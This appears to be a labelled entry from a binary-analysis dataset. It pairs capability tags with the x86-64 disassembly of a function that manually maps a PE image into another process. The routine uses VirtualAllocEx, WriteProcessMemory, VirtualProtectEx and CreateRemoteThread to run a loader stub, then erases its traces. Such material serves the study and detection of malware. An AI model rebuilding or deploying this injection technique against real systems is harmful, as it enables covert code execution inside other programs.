Function at 0x140036b60
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x37]
sub rsp, 0xf0
mov rax, qword [0x140116080]
xor rax, rsp
mov qword [rbp - 1], rax
mov eax, 0x5a4d
mov rbx, rcx
cmp word [0x140116120], ax
jne 0x14003701c
movsxd rdi, dword [0x14011615c]
lea r14, [0x140116120]
add rdi, r14
mov eax, 0x8664
cmp word [rdi + 4], ax
jne 0x14003701c
mov r8d, dword [rdi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor r12d, r12d
mov rsi, rax
test rax, rax
je 0x14003701c
mov dword [rbp - 0xd], r12d
lea rax, [rbp - 0xd]
mov r8d, dword [rdi + 0x50]
lea r13d, [r12 + 0x40]
mov r9d, r13d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rsp + 0x50], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rsi
mov qword [rsp + 0x58], rax
mov rcx, rbx
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x71], r12
mov qword [rbp - 0x69], 1
mov qword [rbp - 0x59], 1
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x61], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140037007
movzx r14d, word [rdi + 0x14]
mov r15d, r12d
add r14, 0x2c
cmp word [rdi + 6], r12w
je 0x140036cd0
add r14, rdi
cmp dword [r14 - 4], r12d
je 0x140036cc0
mov r8d, dword [r14]
lea rax, [0x140116120]
mov edx, dword [r14 - 8]
add r8, rax
mov r9d, dword [r14 - 4]
add rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140037007
movzx eax, word [rdi + 6]
inc r15d
add r14, 0x28
cmp r15d, eax
jne 0x140036c8c
mov r14d, 0x3000
mov dword [rsp + 0x20], 4
mov r9d, r14d
mov r8, r13
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 9], rax
mov r15, rax
test rax, rax
je 0x140037007
mov r9, r13
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140036fe8
mov r9d, r14d
mov dword [rsp + 0x20], r13d
mov r14d, 0x1000
xor edx, edx
mov r8d, r14d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov r13, rax
test rax, rax
je 0x140036fe8
mov r9d, r14d
mov qword [rsp + 0x20], r12
lea r8, [0x14003704c]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140036fb7
mov qword [rsp + 0x30], r12
mov r9, r13
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140036fb7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x11]
mov dword [rbp - 0x11], r12d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x11], 0x103
jne 0x14003701c
mov r14d, 0x40
lea rcx, [rbp - 0x51]
mov r8d, r14d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r9d, r14d
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x51]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r14, qword [rbp - 0x31]
cmp r14, 0x404040
je 0x140036fb7
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14, r14
je 0x140036da2
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov r14, rax
test rax, rax
je 0x14003701c
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
mov r8, r14
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx r14d, word [rdi + 0x14]
xor ecx, ecx
movzx eax, word [rdi + 6]
add r14, 0x18
add r14, rdi
test ax, ax
je 0x140036ed5
mov r13, qword [rsp + 0x40]
xor r15d, r15d
cmp dword [r14 + 8], r15d
je 0x140036eba
lea rdx, str..rsrc
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140036e9e
lea rdx, str..reloc
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140036eba
mov edx, dword [r14 + 0xc]
mov r8, r13
mov r9d, dword [r14 + 8]
add rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r12d
add r14, 0x28
cmp r12d, eax
jne 0x140036e72
mov r15, qword [rbp - 9]
xor ecx, ecx
mov r13, qword [rsp + 0x48]
movzx r14d, word [rdi + 0x14]
mov r12d, ecx
add r14, 0x3c
test ax, ax
je 0x140036f46
add r14, rdi
cmp dword [r14 - 0x1c], ecx
je 0x140036f36
test dword [r14], 0x80000000
mov dword [rbp - 0x11], ecx
jbe 0x140036f03
mov r9d, 4
jmp 0x140036f17
test dword [r14], 0x20000000
mov eax, reloc.WLDAP32.dll_Ordinal_32
lea r9d, [rax - 0x1e]
cmova r9d, eax
mov edx, dword [r14 - 0x18]
lea rax, [rbp - 0x11]
mov r8d, dword [r14 - 0x1c]
add rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor ecx, ecx
movzx eax, word [rdi + 6]
inc r12d
add r14, 0x28
cmp r12d, eax
jne 0x140036ee9
movzx eax, word [rdi + 0x14]
mov r9d, 2
mov dword [rbp - 9], ecx
mov rdx, rsi
mov rcx, rbx
mov r8d, dword [rax + rdi + 0x24]
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rsp + 0x40]
mov r9d, 0x1000
and qword [rsp + 0x20], 0
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
xor r8d, r8d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14003701e
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
xor r8d, r8d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
mov rdx, r13
jmp 0x140037010
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
mov rdx, r15
jmp 0x140037010
mov r9d, 0x8000
mov rdx, rsi
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.1400a8aa0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret